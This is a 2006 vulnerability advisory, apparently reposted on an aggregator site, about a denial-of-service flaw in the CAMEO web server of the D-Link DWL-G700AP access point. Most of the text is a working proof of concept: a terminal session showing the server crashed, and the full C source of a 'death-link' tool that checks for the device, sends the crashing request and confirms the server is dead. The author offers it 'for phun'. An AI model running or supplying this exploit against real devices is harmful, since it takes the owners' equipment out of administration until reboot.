Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11485
HistoryFeb 17, 2006 - 12:00 a.m.

D-Link DWL-G700AP httpd DoS

2006-02-1700:00:00
vulners.com
18

author: l0om
page: www.excluded.org
product: D-Link DWL-G700AP
firmware: tested on v2.00 and the latest v2.01

The DWL-G700AP is an accesspoint from D-Link and the only way to configure
it is the http service which is managed from a httpd called "CAMEO". This
webserver is very easy to DoS because all you have to do is send the AP the
following string: "GET \n\n". I really have been thinking how bad you have
to code to shutdown the whole service with one request which is handeld by
one child process. my guess is that the parent httpd tries to log the request
and runs into a "segmentation fault" while reading the "GET", "POST" or
whatever request with no filename.

PoC exploit follows just for phun and no profit.

best wishes everyone and have phun!
l0om

—8<–snip—8<–snip—8<–snip—8<–snip—8<–snip—8<–snip

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) open
punt!

l0om@badhost:~/death-link> ./death-link -h
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

    death-link [options] &lt;ip-address&gt;
    -o: ONLY CHECK for valid target
    -c: check for valid target
    -h: help

l0om@badhost:~/death-link> ./death-link -c 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

    checking target... done! valid victim detected
    sending DoS... done!
    checking webserver status... CAMEO-httpd DEAD

l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) : Connection refused

l0om@badhost:~/death-link> ./death-link -o 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP

    checking target... faild! webserver already dead?

—8<–snip—8<– death-link.c --8<–snip—8<–snip

/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running on the D-Link
Accesspoint DWL-G700AP. After executing this the accesspoint cannot be
configured anymore because the only way to administrate the AP is the
administration with your browser. you have to reboot the box to get the
httpd started again.

             have phun!

             // some greetings
             maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,
             mattball, molke, murfie, vy99
             excluded.org people, IT31 people

             // the guys who made exploiting possible with buying this AP
             joerres, hermanns, schubert 

*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define DOSSTRING "GET \n\n"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80

int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);

int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;

             header&#40;&#41;;

             if&#40;argc &gt; 1&#41;
                             for&#40;i = 1; i &lt; argc; i++&#41;
                                             if&#40;argv[i][0] == &#39;-&#39;&#41;
                                                             switch&#40;argv[i][1]&#41; {
                                                                             case &#39;o&#39;:
                                                                                             check = 2;
                                                                                             break;
                                                                             case &#39;c&#39;:
                                                                                             check = 1;
                                                                                             break;
                                                                             case &#39;h&#39;:
                                                                                             help&#40;&#41;;
                                                                                             break;
                                                                             default:

printf("\t>> %s << unknown option\n",argv[i]);
exit(-1);
}
else ip = argv[i];

             if&#40;ip == NULL&#41; help&#40;&#41;;

             if&#40;check&#41; {
                             printf&#40;&quot;&#92;tchecking target... &quot;&#41;; fflush&#40;stdout&#41;;
                             i = check_httpd&#40;ip&#41;;
                             if&#40;i &lt;= 0&#41; {
                                             printf&#40;&quot;faild! &quot;&#41;;
                                             if&#40;!i&#41; printf&#40;&quot;invalid target webserver&#92;n&quot;&#41;;
                                             else printf&#40;&quot;webserver already dead?&#92;n&quot;&#41;;
                                             exit&#40;-1&#41;;
                             }
                             else printf&#40;&quot;done! valid victim detected&#92;n&quot;&#41;;
                             if&#40;check == 2&#41; return 0;
             }

             printf&#40;&quot;&#92;tsending DoS... &quot;&#41;; fflush&#40;stdout&#41;;
             if&#40;DoS&#40;ip&#41; &lt;= 0&#41; {
                             printf&#40;&quot;faild!&#92;n&quot;&#41;;
                             return -1;
             } else printf&#40;&quot;done!&#92;n&quot;&#41;;

             sleep&#40;1&#41;;
             printf&#40;&quot;&#92;tchecking webserver status... &quot;&#41;; fflush&#40;stdout&#41;;
             if&#40;!alive&#40;ip&#41;&#41; printf&#40;&quot;&#37;s DEAD&#92;n&quot;,TARGET&#41;;
             else printf&#40;&quot;&#37;s on &#37;s is still alive :&#40; &#92;n&quot;,TARGET,ip&#41;;

             return 0;

}

int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

             if&#40; &#40;sockfd = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; == -1&#41; {
                             perror&#40;&quot;socket&quot;&#41;;
                             exit&#40;-1&#41;;
             }
             servaddr.sin_family = AF_INET;
             servaddr.sin_port = htons&#40;DESTPORT&#41;;
             servaddr.sin_addr.s_addr = inet_addr&#40;ip&#41;;

             if&#40;connect&#40;sockfd, &#40;struct sockaddr *&#41;&amp;servaddr, sizeof&#40;servaddr&#41;&#41; == -1&#41; 
                             return -1;
                             
             if&#40;!write&#40;sockfd, &quot;GET / HTTP/1.0&#92;n&#92;n&quot;, 16&#41;&#41; 
                             return 0;
             else nbytes = read&#40;sockfd, buf, 500&#41;;
             
             len = strlen&#40;pattern&#41;;
             ptr = buf;

             while&#40;nbytes--&#41; {
                             if&#40;*ptr == pattern[i]&#41;
                                             i++;
                             else i = 0;
                             if&#40;i == len&#41; return 1;
                             else ptr++;
             }
             return 0;

}

int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

             if&#40; &#40;sockfd = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; == -1&#41; {
                             perror&#40;&quot;socket&quot;&#41;;
                             exit&#40;-1&#41;;
             }
             servaddr.sin_family = AF_INET;
             servaddr.sin_port = htons&#40;DESTPORT&#41;;
             servaddr.sin_addr.s_addr = inet_addr&#40;ip&#41;;

             if&#40;connect&#40;sockfd, &#40;struct sockaddr *&#41;&amp;servaddr, sizeof&#40;servaddr&#41;&#41; == -1&#41; 
                             return 0;
             else return 1;

}

int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;

             if&#40; &#40;sockfd = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; == -1&#41; {
                             perror&#40;&quot;socket&quot;&#41;;
                             exit&#40;-1&#41;;
             }
             servaddr.sin_family = AF_INET;
             servaddr.sin_port = htons&#40;DESTPORT&#41;;
             servaddr.sin_addr.s_addr = inet_addr&#40;ip&#41;;

             if&#40;connect&#40;sockfd, &#40;struct sockaddr *&#41;&amp;servaddr, sizeof&#40;servaddr&#41;&#41; == -1&#41; 
                             return 0;
             else return&#40;write&#40;sockfd, DOSSTRING, strlen&#40;DOSSTRING&#41;&#41;&#41;;

}

void help(void)
{
printf("\tdeath-link [options] <ip-address>\n");
printf("\t-o: ONLY CHECK for valid target\n");
printf("\t-c: check for valid target\n");
printf("\t-h: help\n");
exit(0);
}

void header(void)
{
printf("\tdeath-link - written by l0om\n");
printf("\t WWW.EXCLUDED.ORG\n");
printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);
}